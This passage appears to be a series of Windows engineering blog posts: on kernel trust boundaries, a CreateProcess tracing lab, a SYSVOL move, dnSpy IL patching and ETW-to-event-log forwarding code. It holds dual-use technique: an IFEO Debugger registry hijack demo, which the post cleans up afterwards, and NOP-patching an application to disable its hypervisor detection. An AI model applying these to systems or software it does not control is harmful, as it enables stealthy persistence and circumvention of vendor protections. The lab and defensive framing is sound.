This shows up in real incidents and research. The LOLDrivers project tracks Windows drivers used by adversaries to bypass security controls. At the time of writing, it listed 2,129 driver samples and 619 unique drivers. Academic research has also caught up: the NDSS 2026 paper “Unveiling BYOVD Threats: Malware’s Use and Abuse of Kernel Drivers” analyzed 8,779 malware samples that load 773 signed drivers and reported previously unknown vulnerable drivers to Microsoft, vendors, and threat-intelligence platforms.

A recent example shows the same pattern. Quarkslab’s 2025 write-up on CVE-2025-8061 in a signed Lenovo driver describes BYOVD as a common post-exploitation technique used to bypass mitigations, including PPL, by reaching Ring 0. Their own note that HVCI mitigated part of the demonstrated exploitation is a good reminder that these protections are meant to stack.

Third, VBS and Trustlets are stronger boundaries, but still have an attack surface. Microsoft’s VSM documentation is explicit that the hypervisor creates isolated memory regions and VTLs. Public research such as Rafal Wojtczuk’s Black Hat paper, “Analysis of the Attack Surface of Windows 10 Virtualization-Based Security”, looked at that architecture and its assumptions. The paper is old enough that many implementation details have changed, but the high-level lesson is still useful: virtualization-backed isolation narrows and moves the attack surface; it does not remove the need to understand the trust boundary.

The model that survives the lab

For ordinary processes, administrator plus the right privileges can still mean broad process access.

For Protected Processes, Windows filters sensitive process access rights even when the caller is administrative.

For PPL, the caller’s protection level and signer trust matter, not only the user’s token.

For LSA protection, that hierarchy is used to make ordinary LSASS memory access and injection fail from admin tooling that is not running at the right protection level.

For Credential Guard and Trustlets, some secrets move behind VBS-backed isolation, where VTL1 is intentionally outside the reach of normal VTL0 code.

That is why “administrator can inspect anything” is no longer a good Windows mental model.

Administrator is still powerful. Kernel execution is still extremely serious. But modern Windows has spent years moving sensitive components behind trust boundaries that are deliberately higher than ordinary administrative user mode.

Before main(): tracing what Windows really does when you call CreateProcess

Mon, 20 Apr 2026 10:00:00 +0000

CreateProcess does far more than start a program: it builds enough process state, loader state, and subsystem state for execution to become possible.

The easy version of process creation is:

Program A calls CreateProcess, then Program B starts running.

That is true in the same way that “I turned the key and the car moved” is true. Useful enough for daily life, but it skips the interesting machinery.

The more useful version is:

CreateProcess constructs an execution environment. The image, process object, initial thread, subsystem state, address space, PEB, loader state, activation context, and imported DLL graph all have to be made believable before your code gets a turn.

That distinction matters for security work. A lot of detection engineering, malware triage, application control, EDR telemetry, and “why did this thing launch like that?” troubleshooting lives in the gap between those two sentences.

This post is a lab. We are going to launch a few familiar Windows executables and watch the operating system do work before the program’s own code is really underway.

A quick honesty note before we start: this is accurate to the best of my ability, but I am not writing it with current access to Windows source code or as someone presently on the Windows team. The confidence here comes from experiments, debugger output, public documentation like the CreateProcessW API reference, Windows Internals, and the behaviour we can observe ourselves. One of the more eye-opening things from my time around the Windows kernel team was seeing how often tiny details change: code paths move, edge cases appear, and things that are broadly true can have nuance under different conditions, such as low-memory systems, policy choices, architecture differences, or newer builds. So treat this as a well-tested practical model, not a claim that every internal branch looks exactly like this forever.

The short version

Windows Internals describes process creation as a staged flow. At a high level:

The caller’s parameters and flags are converted and validated.
The image to execute is found and opened.
Windows creates the executive process object.
Windows creates the initial thread, stack, and context.
Windows performs subsystem-specific process initialization.
The initial thread is resumed, unless the caller requested CREATE_SUSPENDED.
Process initialization continues inside the new process, including user-mode loader work, DLL loading, TLS callbacks, and eventually the program entry point.

The public CreateProcessW documentation does not try to teach all of that internal machinery, but it does expose the shape of it: the function creates a new process and its primary thread, accepts creation flags such as CREATE_SUSPENDED, returns process and thread handles, and warns that a GUI process can still be busy with its own initialization after the API returns. Microsoft documents WaitForInputIdle as a way for a parent to wait until a GUI child process has finished enough of its initialization to be waiting for user input.

That last point is the tell: the API returned, but initialization was still happening.

Lab setup

Tools:

Process Monitor
WinDbg
gflags.exe, which on current setups may arrive with the Windows Driver Kit (WDK)
Visual Studio Build Tools, or any environment that can compile a tiny Win32 C++ program

If cl is not already available in your shell, install the Visual Studio C++ Build Tools:

winget install Microsoft.VisualStudio.2022.BuildTools --override "--wait --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended"

After installing, open a new x64 compiler environment before building the sample:

cmd /k '"C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat" -arch=x64 -host_arch=x64'

The install path lives under Program Files (x86), but the -arch=x64 -host_arch=x64 arguments tell Visual Studio to use the 64-bit host compiler targeting 64-bit output.

For convenience, I have put the companion code in this repo:

BeforeMainLauncher.cpp

If you are following along from the web, save the launcher code below as BeforeMainLauncher.cpp, open a Visual Studio Developer PowerShell in that folder, and build it with:

cl /EHsc /W4 .\BeforeMainLauncher.cpp

The program deliberately creates the child process suspended:

BOOL ok = CreateProcessW(
    nullptr,
    commandLine.data(),
    nullptr,
    nullptr,
    FALSE,
    CREATE_SUSPENDED,
    nullptr,
    nullptr,
    &si,
    &pi);

That gives us a clean pause after the kernel has created a process and thread, but before the child has been allowed to finish user-mode initialization.

Experiment 1: ProcMon sees the scaffolding

Start Process Monitor as Administrator.

Use these filters:

Process Name is BeforeMainLauncher.exe Include
Process Name is notepad.exe Include
Operation is Process Create Include
Operation is Thread Create Include
Operation is Load Image Include
Operation is RegOpenKey Include
Operation is RegQueryValue Include
Operation is CreateFile Include

Then run:

.\BeforeMainLauncher.exe C:\Windows\System32\notepad.exe

Do not press Enter in the launcher yet. The child has been created with its initial thread suspended.

One important ProcMon detail: before you resume the child, most of the interesting rows will still be attributed to BeforeMainLauncher.exe. That is expected. ProcMon’s Process Name column is the process performing the operation, and the process creation operation is performed by the launcher. Look at the Operation, Path, and Detail columns to see the child image, command line, PID, and thread ID.

There is another modern Windows wrinkle here: on a default Windows 11 install, Notepad may be the packaged Microsoft Store version. In that case you can pass C:\Windows\System32\notepad.exe to CreateProcessW, but ProcMon may show the process creation path as something like:

C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2512.26.0_x64__8wekyb3d8bbwe\Notepad\Notepad.exe

That is not a mistake in the trace. In my ProcMon capture, the process creation path queried the Image File Execution Options keys for notepad.exe, including AppExecutionAliasRedirect, then loaded ApiSetHost.AppExecutionAlias.dll, opened %LOCALAPPDATA%\Microsoft\WindowsApps\notepad.exe, queried AppX package state, and created the process from the WindowsApps package path. Microsoft documents packaged app execution aliases as a way for users and processes to start a packaged app without specifying the full path to the app.

So do not worry if your trace does not exactly match mine. On one system the Process Create path may be the classic image path:

C:\Windows\System32\notepad.exe

On another system, especially a current Windows 11 install, it may be the packaged Notepad path:

C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_...\Notepad\Notepad.exe

In both cases, the command line in ProcMon may still show the original "C:\Windows\System32\notepad.exe". That difference between the requested command line and the final image path is the point.

Things to look for before resuming the child:

BeforeMainLauncher.exe -> Process Create -> C:\Windows\System32\notepad.exe
    or
BeforeMainLauncher.exe -> Process Create -> C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_...\Notepad\Notepad.exe
BeforeMainLauncher.exe -> Thread Create  -> initial thread for the new notepad.exe process
BeforeMainLauncher.exe -> RegOpenKey     -> HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
BeforeMainLauncher.exe -> CreateFile     -> C:\Windows\System32\notepad.exe
BeforeMainLauncher.exe -> CreateFile     -> C:\Users\<you>\AppData\Local\Microsoft\WindowsApps\notepad.exe, if App Execution Alias resolution is in play
BeforeMainLauncher.exe -> Load Image     -> C:\Windows\System32\ntdll.dll

You can also use the PID printed by BeforeMainLauncher.exe to confirm the suspended child exists in Process Explorer before it has done much of anything in ProcMon.

Now press Enter in the launcher so it calls ResumeThread. More user-mode initialization can run, and the trace gets noisier. This is when you should expect to see rows attributed directly to notepad.exe. Depending on Windows version, configuration, and cache state, additional things worth looking for include:

notepad.exe    -> Load Image     -> C:\Windows\System32\KernelBase.dll
notepad.exe    -> Load Image     -> C:\Windows\System32\kernel32.dll
CreateFile     -> C:\Windows\System32\notepad.exe.Local
CreateFile     -> C:\Windows\System32\notepad.exe.manifest
CreateFile     -> C:\Windows\System32\en-US\notepad.exe.mui
CreateFile     -> C:\Windows\Prefetch\NOTEPAD.EXE-*.pf

Not every Windows build will show exactly the same rows. That is fine. What matters is that the trace disproves the toy model. The process creation path is not just “map EXE, jump to entry point.” You will see registry policy/debugger checks, executable file access, image mapping, and then loader-driven resource and dependency work before the application is meaningfully running.

The IFEO lookup is especially worth noticing. You do not have to configure IFEO for Windows to check whether it applies.

Experiment 2: IFEO proves CreateProcess is policy-aware

Image File Execution Options are a Windows mechanism commonly used for per-image debugging and diagnostics. Microsoft documents the IFEO Debugger setting as a way to configure a program so that it always runs in a debugger with specified options, and defenders also know that same Debugger value as a persistence and tampering location. See Running a Program in a Debugger and GFlags Details.

We can prove that process creation checks IFEO before normal execution.

Do not use Notepad for this test on current Windows. Packaged Notepad can have filtered IFEO entries such as UseFilter, FilterFullPath, and AppExecutionAliasRedirect, which can make the simple Debugger demonstration confusing. Use the demo executable instead, because it has a unique image name and no built-in App Execution Alias behaviour.

Open an elevated PowerShell from the folder containing BeforeMainLauncher.exe:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BeforeMainLauncher.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /k echo IFEO caught BeforeMainLauncher.exe:" /f

Now run:

.\BeforeMainLauncher.exe C:\Windows\System32\notepad.exe

You should get cmd.exe, not the launcher. That proves the process creation path consulted IFEO before the target image ran.

Clean it up immediately:

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BeforeMainLauncher.exe" /v Debugger /f

Now run the launcher again and it should behave normally.

ProcMon will also make this visible. Filter on:

Path contains Image File Execution Options Include
Process Name is BeforeMainLauncher.exe Include
Process Name is cmd.exe Include

This is a useful blue team reminder. If a process launch turns into something surprising, do not start your investigation at the child entry point. Start with the execution environment that was constructed for it.

Experiment 3: catch the process before the loader finishes

Run the launcher again:

.\BeforeMainLauncher.exe C:\Windows\System32\notepad.exe

Leave it paused.

Attach WinDbg to the suspended Notepad process:

File -> Attach to a Process -> notepad.exe

Because this experiment attaches to an already-created suspended process, do not expect the same startup experience you get when WinDbg launches the target itself. In particular, Microsoft documents the debugger’s initial breakpoint for newly started targets, but attaching to an existing process is a different path.

Useful commands:

|
~
!peb
dt ntdll!_PEB @$peb
dt ntdll!_PEB @$peb Ldr
lm

To keep this section concrete without dumping pages of debugger output, it helps to focus on a few commands and a few lines from each.

Run:

!peb

Example output:

0:000> !peb
PEB at 000000bb`5f3a7000
    ImageBaseAddress: 00007ff7`6c1d0000
    ProcessParameters: 000000bb`5f3a8010
    Ldr: 00007ff8`c68f4520

What to notice: the process already has a PEB, process parameters, and a loader data structure before the program reaches its own interesting code.

Run:

dt ntdll!_PEB @$peb
dt ntdll!_PEB @$peb Ldr

Example output:

0:000> dt ntdll!_PEB @$peb
   +0x010 ImageBaseAddress : 0x00007ff7`6c1d0000 Void
   +0x020 ProcessParameters : 0x000000bb`5f3a8010 _RTL_USER_PROCESS_PARAMETERS
   +0x018 Ldr              : 0x00007ff8`c68f4520 _PEB_LDR_DATA

What to notice: symbols turn the PEB from a magic pointer into concrete process state you can reason about.

On current Windows, @$peb points at the Process Environment Block for the debuggee. The PEB contains process-wide user-mode state used by the loader and other runtime components. The Ldr member points at loader-maintained module lists. The exact structure offsets can move between architectures and builds, so prefer symbols and dt over memorised offsets where possible. If you want to keep digging, take the Ldr pointer printed by dt and pass it to:

dt ntdll!_PEB_LDR_DATA <Ldr address>

Run:

lm

What to notice: the exact module list at this point is build- and timing-dependent, so the point is not to memorize a specific set of DLLs. The useful observation is simpler: the process already exists as a real debug target with a PEB and some initial loader-visible state even though the primary thread has not yet been resumed.

Now type:

Then break in again and look at lm a second time.

What to notice: after the thread runs, the module set usually becomes richer. This is where user-mode loader activity becomes more obvious. Depending on the target and the Windows build, you may now see additional UI, COM, text input, or side-by-side related modules. If you want to watch that startup chatter from the beginning, launch the target under WinDbg instead of attaching after creation; that is the point of the next experiment.

Now press Enter in the launcher so it calls ResumeThread.

In WinDbg, break again and compare:

!peb
lm

The loaded module list will be more interesting after the loader has run. You should see core DLLs such as ntdll, kernel32, KernelBase, user interface libraries, and the Notepad image itself. The exact list depends on your Windows version and Notepad implementation.

The important point: there is a period where the process object exists and the primary thread exists, but user-mode loader initialization has not completed.

Experiment 4: loader snaps show the noisy truth

Loader snaps are loud, ugly, and extremely useful.

If gflags.exe is not on your PATH, install the Windows Driver Kit (WDK) and then run it from:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe

For this experiment, use charmap.exe instead of Notepad. On current Windows installs, Notepad is often the packaged Store version, which makes the launch path less clean for this specific loader-snaps demonstration.

Enable them for Character Map:

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /i charmap.exe +sls

Confirm the setting:

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /i charmap.exe

Start Character Map under WinDbg:

windbg C:\Windows\System32\charmap.exe

Then run:

This is where the useful output starts. A charmap.exe run can look like this:

4af0:46ec - LdrpInitializeProcess - INFO: Beginning execution of charmap.exe (C:\WINDOWS\System32\charmap.exe)
4af0:46ec - LdrLoadDll - ENTER: DLL name: KERNEL32.DLL
4af0:46ec - LdrpFindKnownDll - ENTER: DLL name: KERNEL32.DLL
4af0:46ec - LdrpMinimalMapModule - ENTER: DLL name: C:\WINDOWS\System32\KERNEL32.DLL
ModLoad: 00007ff8`c5260000 00007ff8`c5329000   C:\WINDOWS\System32\KERNEL32.DLL
4af0:46ec - LdrpPreprocessDllName - INFO: DLL api-ms-win-core-processthreads-l1-1-0.dll was redirected to C:\WINDOWS\SYSTEM32\kernelbase.dll by API set
4af0:46ec - LdrpGetProcedureAddress - INFO: Locating procedure "BaseThreadInitThunk" by name
4af0:46ec - LdrpFindDllActivationContext - INFO: Probing for the manifest of DLL "C:\WINDOWS\SYSTEM32\apphelp.dll" failed with status 0xc000008a
4af0:3944 - LdrpComputeLazyDllPath - INFO: DLL search path computed: C:\Windows\System32;...
4af0:46ec - LdrpPreprocessDllName - INFO: DLL COMCTL32.dll was redirected to C:\WINDOWS\WinSxS\...\COMCTL32.dll by SxS
4af0:46ec - LdrpMergeNodes - INFO: Merging a cycle rooted at GDI32.dll.
4af0:46ec - LdrpMergeNodes - INFO: Adding cyclic module gdi32full.dll.
4af0:46ec - LdrpMergeNodes - INFO: Adding cyclic module USER32.dll.
(4af0.46ec): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x35:

That is real loader-snaps output. It is much more than a plain module list.

What to notice:

LdrpInitializeProcess is the loader announcing that process initialization is underway.
LdrpFindKnownDll and LdrpMinimalMapModule show the loader deciding where a DLL should come from and then mapping it.
LdrpPreprocessDllName ... by API set is the clean proof that API Set contract names are being resolved to host DLLs during startup.
LdrpGetProcedureAddress shows import and export resolution work happening before the application is interesting.
LdrpFindDllActivationContext and the COMCTL32.dll ... by SxS line show manifest and side-by-side assembly handling in the middle of startup.
LdrpComputeLazyDllPath is the loader computing a DLL search path, which is useful when a startup problem turns out to be a search-order problem.
LdrpMergeNodes is the loader building and reconciling the dependency graph, including cycles.
That break in ntdll!LdrpDoDebuggerBreak matters because it lands in the loader path, not in charmap.exe’s own code.

This is what makes loader snaps useful. They do not just show that DLLs loaded. They show why they loaded, where they came from, how names were rewritten, and which loader subsystems were involved.

Turn loader snaps off when you are done:

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /i charmap.exe -sls

You can also inspect the flag from inside WinDbg:

!gflag

Microsoft documents the sls global flag abbreviation as “Show loader snaps”. Use it surgically and clean up after yourself.

Experiment 5: prove API Set redirection

Modern Windows binaries often import API Set contract DLL names such as:

api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-libraryloader-l1-2-0.dll

Those names are API set contract names, not ordinary module names. Microsoft documents API sets as a virtual alias for a physical DLL file: they look like DLL names in imports and loader operations, but they do not directly refer to a file on disk. The loader resolves them to host DLLs such as KernelBase.dll, kernel32.dll, or other implementation DLLs depending on the API set mapping on that Windows build.

If you have Visual Studio tools installed, inspect imports:

dumpbin /imports .\BeforeMainLauncher.exe | findstr /i "api-ms ext-ms kernel"
dumpbin /imports C:\Windows\System32\charmap.exe | findstr /i "api-ms ext-ms kernel"

Then compare with what is actually loaded:

lm m kernelbase
lm m kernel32
lm m ntdll
lm m api*

On many systems, lm m api* will show nothing even though the import table contains api-ms-... names. That is the point. The lesson is not that every process will show the same contract names. The lesson is that an import name is not always the file that gets mapped. The Windows loader participates in name resolution, and API Sets are one of the ways it keeps user-mode binaries stable while implementation details move around.

This matters when reading ProcMon traces. If you are hunting for “who loaded api-ms-win-core-whatever.dll”, you may be chasing the contract name instead of the host module that actually landed in memory.

What CreateProcess is really doing

Here is the mental model I use now:

Caller
  |
  | CreateProcessW
  v
KernelBase / process creation user-mode path
  |
  | parse command line, validate flags, prepare attributes, consult policy/debugger/appcompat state
  v
NT system service boundary
  |
  | open executable image, create image section, create process object, create initial thread
  v
Windows subsystem setup
  |
  | process parameters, handles, console/window station/desktop-ish state, PEB-visible user-mode state
  v
Initial thread starts or remains suspended
  |
  | ntdll loader initialization, activation context, imports, API Set resolution, TLS callbacks
  v
Program entry point
  |
  | C/C++ runtime
  v
main / WinMain

That diagram is intentionally not a function-by-function reverse engineering map. Windows changes. Internal routines move. Builds differ. The durable lesson is the sequence of responsibilities.

The caller asks Windows to create a process. Windows has to create a credible universe for that process before the program gets control.

Why defenders should care

There are several practical detection lessons here.

First: process creation telemetry is a starting point, not a full explanation.

Sysmon Event ID 1, Security Event ID 4688, EDR process graphs, and ProcMon Process Create events tell you something launched. They do not automatically tell you which compatibility, IFEO, loader, manifest, or DLL resolution decisions shaped that launch.

Second: parent/child relationships can be truthful and still incomplete.

If Notepad launched because IFEO sent execution through a proxy binary, the parent/child chain may be truthful but still miss the key fact: the launch was intercepted by registry policy before Notepad itself ran.

Third: loader behaviour is attack surface and evidence.

DLL search order, SxS activation contexts, API Set resolution, known DLLs, and loaded module databases are not trivia. They explain why DLL hijacking works in one case and fails in another, why a module name in imports does not match a mapped file, and why “before main” can still include attacker-controlled code such as malicious DLL initialization or TLS callbacks.

Fourth: suspended processes are real processes.

A process created with CREATE_SUSPENDED has a process object and initial thread. Depending on exactly where you look and when, some initialization has happened and some has not. That is why process hollowing, early-bird APC injection, and debugger-based launch tricks all care about timing.

A small checklist for future investigations

When a Windows process launch looks weird, check:

Command line and image path
Parent process and creator process, if your telemetry distinguishes them
IFEO keys for the image name
AppCompatFlags and shim database evidence
Manifest and SxS probing
KnownDLLs and DLL search path behaviour
Loaded modules after loader initialization
Prefetch, SRUM, UserAssist, event logs, and ShimCache as presence evidence rather than proof of execution on modern Windows
Whether the process was created suspended
Whether the first interesting code was the EXE entry point, a DLL entry point, or a TLS callback

That list has saved me more than once from confidently explaining the wrong thing.

Sources worth keeping open

Microsoft Learn: CreateProcessW
Microsoft Learn: WaitForInputIdle
Microsoft Learn: Process Monitor
Microsoft Learn: Running a Program in a Debugger
Microsoft Learn: GFlags
Microsoft Learn: !gflag
Microsoft Learn: Initial Breakpoint
Microsoft Learn: Windows API sets
Microsoft Learn: Application manifests
Microsoft Learn: Activation contexts
Microsoft Incident Response: Leveraging Windows Internals for Forensic Investigation
Microsoft Press: Windows Internals, Part 1, 7th Edition

Closing thought

CreateProcess sounds like it just starts a program, but a process is more than code executing.

It constructs a process, applies policy, creates the initial thread, and sets up the execution environment that exists before the program reaches its own entry point.

Once you see that in ProcMon and WinDbg, a lot of Windows security work starts to look less magical. The weird registry read, the manifest miss, the unexpected DLL, the process that exists but has not run yet, the import that resolves somewhere else: those are not side quests. They are the machinery.

Moving SYSVOL to a new disk

Fri, 19 Apr 2024 14:24:25 +0000

Moving SYSVOL deserves a cautious, well-tested runbook because the directory is central to Group Policy and domain logon behavior. The junction points, replication state, backups, and rollback plan matter more than the file copy itself.

Preparation

Quickly confirm AD replication is ok.

This might seem counterintuitive because SYSVOL uses DFSR which is separate to general AD replication, but a large amount of the configuration information required by SYSVOL is being read from AD by the DFSR service.

repadmin /replsummary /bysrc /bydest > repsum.txt

We should also do a system state backup of the domain controller we are working with as well as the file system of the SYSVOL tree. For example, C:\Windows\SYSVOL on a default install.

Moving

In this example we will move SYSVOL from the default C:\Windows\SYSVOL to a new disk at the location E:\SYSVOL.

1 - Stop the service.

Stop-Service -Name DFSR

2 - Copy the SYSVOL folder from the source to the target and preserve ACLs/ownership/auditing.

robocopy C:\Windows\SYSVOL E:\SYSVOL /MIR /COPYALL /R:1 /W:1

Optional verification:

icacls C:\Windows\SYSVOL /save C:\temp\sysvol_acl_source.txt /t icacls E:\SYSVOL /save C:\temp\sysvol_acl_target.txt /t

3 - Update the value of SYSVOL under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters in the registry so that it uses the new path.

4 - Do the same for the msDFSR-RootPath and msDFSR-StagingPath using ADSI edit.

The values are in the domain partition on the SYSVOL subscription object for the domain controller you are working on. For example, the test domain in this example is contoso.com, and we are working on the domain controller - DC-SYDNEY-2. The object we will modify the attributes on is:

CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC-SYDNEY-2,OU=Domain Controllers,DC=contoso,DC=com

5 - We need to remove the old junction points used by the DFSR service. If you’d first like to inspect the junction points that exist, use:

Get-ChildItem -Attributes ReparsePoint | Select-Object FullName, Target

Then, we can delete the two old junction points:

rmdir e:\sysvol\staging areas\contoso.com

rmdir e:\sysvol\sysvol\contoso.com

Before you move on, make sure the directories with the name of your domain no longer exist in your new location. For example, e:\sysvol\sysvol\contoso.com should not exist because it was just a junction point to the real data; when you copied it, it became a standard folder. If you don’t follow this step, you’ll get an error because a directory already exists with the same name as the junction point you are going to create in the next step.

6 - To recreate the junction points we navigate to the appropriate directories. (from e:\Sysvol\staging areas) mklink /J contoso.com e:\Sysvol\staging\domain (from e:\Sysvol\sysvol) mklink /J contoso.com e:\Sysvol\domain

7 - Restart the services: Start-Service Netlogon Start-Service DFSR

There are multiple ways you can test that the change has been successful. A quick and simple approach is to create a canary file in the SYSVOL folders and ensure it is replicated to all domain controllers.

A better approach, though, is to use the built-in “DFS Management” tools and run a health check.

Should you encounter any errors, be sure to start with the “DFS Replication” Event log under “Applications and Services Logs”.

References

Using IL NOP's with dnSpy

Tue, 31 Oct 2023 14:34:25 +0000

When using dnSpy to make a small managed-code change, the simplest edit is often to replace an instruction with a no-op rather than rewriting an entire method. This note explains that workflow while keeping the focus on controlled lab changes and repeatable verification.

Often though, the code you are looking at in dnSpy cannot be easily edited and re-compiled. You know the small change you’d like to make, but frustratingly it cannot be easily modified.

Some example threads:

Editing the IL directly is a potential solution, but edits are more complex than they would be in C# and without a good understanding of IL it is easy to make a mess of it.

The approach we used this week was simple, but easy to forget, which is why I’m jotting it down.

NOP’S

“In computer science, a NOP, no-op, or NOOP (pronounced “no op”; short for no operation) is a machine language instruction and its assembly language mnemonic, programming language statement, or computer protocol command that does nothing.” wiki

The tl;dr is that dnSpy makes it easy to NOP out sections that when removed achieve our desired outcome. And since we are editing the binary rather than re-compiling the code, we bypass the issues that can pop up in more complex applications that have dependencies.

In this example, we are trying to bypass hypervisor protections**:

We’re really lucky, the application in question has a debug log that is enabled by default. The log gives us clues about the functions to review once we open the application in dnSpy. It also shows the hypervisor detection clearly and will make it easier to ‘confirm’ our change is successful.

Once we open the application in dnSpy we can see that the debug log function name lines up, and that the code enabling us to bypass the hypervisor check is right there. We’ll focus on the Hyper-V detection.

We can also see that there is a structure which has a valid detection type of “None”. In most cases, we’d simply change the value to “None” and recompile.

Here’s a quick screenshot of what we’d love to do (it won’t work like this):

We can see that if we do attempt to compile there are multiple errors:

So re-compiling, even after a small change is going to be painful. But the alternative, mentioned above is to edit the binary rather than recompiling the code. It is not as straightforward if you’re only familiar with C#, but under the right conditions it can be pain free. This particular app provides such a condition.

The constructor for the class that assess the hypervisor already sets the value to “None” when it is initialized.

That means that (most likely) all we need to do is ensure that code to modify (“Set”) that value never runs. So we won’t need to understand a whole lot of IL, we can simply NOP out the sections that make a change.

We do that by finding the line that needs to disappear, right click, “edit IL instructions”.

The edit dialog will take you to the IL in question and put a rectangle around it, you can see in this example that the mapping between IL and C# can be difficult to follow, but when it is a simple change, like NOP’s, you’re going to be in good shape. We right click the line and choose “replace with NOPs”.

When you return to the main viewing window, you’ll notice that the code is now missing, it has been replaced with an empty set of curly braces {}

All we do now is save the binary file (not recompile):

Once we copy the binary back into place and restart the application we can confirm that the hypervisor detection is now inactive.

We can observe it in the behavior we were looking to bypass (usually an error saying something like “running on Hyper-V is unsupported”).

In this particular case we can also confirm in the debug log provided by the application:

Nothing complex is happening here, but the workflow is useful when you need a quick, repeatable patch in a lab.

References

Converting ETL to EVTX in 'real time' (for Azure App Proxy Front End Logs)

Fri, 01 Sep 2023 14:34:25 +0000

This note covers converting ETL traces to EVTX-style event logs in near real time for Azure App Proxy front-end logging. The broader lesson is to preserve the original telemetry, document the conversion pipeline, and be clear about which fields survive the transformation.

Ensure that the front end logs from the Azure Application Proxies are flowing into the SIEM via Windows Event Forwarding (WEF).

This post outlines the current challenges with the ask, and provides an approach for converting .ETL logs to .EVTX format as they arrive.

2026 context: Microsoft Entra ID Application Proxy is now branded under Microsoft Entra Application Proxy, but the connector provider names and event channels shown in this post may still contain Aad/Microsoft Entra ID naming. The old names in the code are intentional where they refer to actual provider names.

Azure Application Proxy Overview

If you are unfamiliar with the Azure Application Proxy the Microsoft overview is as follows:

Azure Active Directory’s Application Proxy provides secure remote access to on-premises web applications. After a single sign-on to Microsoft Entra ID, users can access both cloud and on-premises applications through an external URL or an internal application portal. For example, Application Proxy can provide remote access and single sign-on to Remote Desktop, SharePoint, Teams, Tableau, Qlik, and line of business (LOB) applications.

A better source of information for the Azure Application Proxy is: https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy

Azure Application Proxy Logging

The Azure Application Proxy has two main logs that are helpful for administrators and security teams:

The admin log (standard .EVTX format)
The session log (analytic and debug .ETL format)

The second log, “Session”, is very useful for security teams.

The events 24028, 24029, 24030 detail the actual connections being made to the App Proxy connector instance, and are very similar to what you might expect if you were monitoring a web server.

The Challenge

The challenge with the Session log is that it is an .ETL log, rather than .EVTX like the Admin log.

The Admin Log:

The Session Log:

I was aware that “Analytic and Debug” .etl logs were not designed to be forwarded using Windows Event Forwarding, but because we really needed this information in our SIEM we decided to ask Microsoft to be sure:

Question: Can we use Windows Event Forwarding with “Analytic and Debug” logs?

Answer: No, Windows Event Forwarding (WEF) is not designed to work with “Analytic and Debug” logs in the .etl format. WEF is primarily used for forwarding Windows Event Logs in the .evtx format.The “Analytic and Debug” logs, which are in the .etl format, are typically used for advanced troubleshooting and performance analysis purposes. These logs contain low-level system information and are primarily consumed by tools like Windows Performance Analyzer (WPA) and other performance monitoring tools.On the other hand, WEF is specifically designed to collect and forward events from the standard Windows Event Logs, such as the System, Application, Security, and Setup logs, which are stored in the .evtx format.

It is possible to convert .etl logs to .evtx but it is a point in time operation. We considered whether we could do this with a script, but the downside would be that the logs would flow in chunks, rather than being forwarded at the time they arrive and decided to pursue a better fit for our requirement.

I should note that the design Microsoft arrived at here makes sense to me. That is, using the .etl format for the Session logs. In some environments the volume of information flowing through that log would be a challenge for regular event logs, and some of the content in the log might be unnecessary for most customers. Definitely not throwing shade at the choice to use .etl “Analytic and Debug” logs for the App Proxy Session log.

The Solution

The solution we arrived at was to hook only the relevant information (etw information that makes up events 24028, 24029 and 24030) from the App Proxy ETW channel. We would do this by writing a Windows Service that would leverage the Microsoft.Diagnostics.Tracing.TraceEvent package.

Said another way: we would subscribe to the relevant ETW channel and pluck out the ETW information that would later become an analytic event of type 24028, 24029 or 24030.

It was possible to learn about the event channels available to us a couple of ways:

logman query providers
wevtutil enum-publishers

The second command: wevtutil enum-publishers revealed an ETW source called Microsoft-AadApplicationProxy-Connector that contained the information we needed to work with the Microsoft.Diagnostics.Tracing.TraceEvent package.

This post by Alex Khanin was really helpful to get started with the ETW library: https://medium.com/@alexkhanin/getting-started-with-event-tracing-for-windows-in-c-8d866e8ab5f2

The key point was that we would need to add the following Nuget package to our C# project: Microsoft.Diagnostics.Tracing.TraceEvent

Console App Example

The following code shows how to hook the relevant events to achieve the outcome we would need as a basic console application. But, to do this in a way that will work across multiple servers, survive reboots etc we need to also take this code and implement it as a windows service.

To summarize the code:

We are defining three event types that we want to monitor for in the ETW channel for the App Proxy: Microsoft-AadApplicationProxy-Connector
We are writing that event type in the standard .evtx based logfile: The admin log shown earlier in the post. It’ll also still arrive in the analytic and debug log as usual.

Doing this means that our WEF subscription can pick up the 24028, 24029 and 24030 events from the admin log.

using System;
using System.IO;
using Microsoft.Diagnostics.Tracing;
using Microsoft.Diagnostics.Tracing.Session;
using System.Diagnostics;

namespace Session_Logs_Via_ETW
{
    class Program
    {
        private static Logger _logger;
        private const string EventSourceName = "AppProxy-ETW-Event-Extractor";
        private const string EventLogName = "Microsoft-AadApplicationProxy-Connector/Admin";
        static void Main(string[] args)
        {
            const string sessionName = "AppProxyLogExporter";
            const string providerName = "Microsoft-AadApplicationProxy-Connector";
            string logFilePath = "application_log.txt";
            _logger = new Logger(logFilePath);
            _logger.Log("Application started.");
            EnsureEventSource(EventSourceName, EventLogName);

            using (var session = new TraceEventSession(sessionName))
            {
                Console.CancelKeyPress += (sender, e) =>
                {
                    Console.WriteLine("Stopping the session...");
                    session.Dispose();
                };

                session.Source.Dynamic.All += HandleEvent;
                session.EnableProvider(providerName);
                Console.WriteLine($"Listening to events from provider '{providerName}'. Press Ctrl+C to exit...");
                session.Source.Process();
            }

